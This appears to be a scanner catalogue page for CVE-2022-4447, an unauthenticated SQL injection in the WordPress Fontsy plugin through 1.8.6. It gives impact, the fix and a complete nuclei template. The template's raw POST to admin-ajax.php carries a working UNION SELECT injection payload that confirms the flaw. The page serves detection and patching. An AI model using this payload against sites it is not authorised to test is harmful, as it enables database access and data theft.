WordPress Fontsy <=1.8.6 - SQL Injection

criticalseverity

9.8CVSS score

4.8%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

WordPress Fontsy plugin through 1.8.6 is susceptible to SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.

Fix

Update the Fontsy plugin to the latest version (>=1.8.7) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php?action=get_tag_fonts
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "{{md5(num)}}")

Run it with nuclei: nuclei -id CVE-2022-4447 -u <target>

The full check

id: CVE-2022-4447

info:
  name: WordPress Fontsy <=1.8.6 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Fontsy plugin through 1.8.6 is susceptible to SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action.  An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
  remediation: |
    Update the Fontsy plugin to the latest version (>=1.8.7) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6939c405-ac62-4144-bd86-944d7b89d0ad
    - https://wordpress.org/plugins/fontsy/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4447
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4447
    cwe-id: CWE-89
    epss-score: 0.04805
    epss-percentile: 0.92028
    cpe: cpe:2.3:a:fontsy_project:fontsy:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fontsy_project
    product: fontsy
    framework: wordpress
  tags: cve,cve2022,wordpress,wp,wpscan,wp-plugin,sqli,fontsy,unauth,fontsy_project,vkev,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id=-5219 UNION ALL SELECT NULL,NULL,NULL,md5({{num}}),NULL--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "{{md5(num)}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from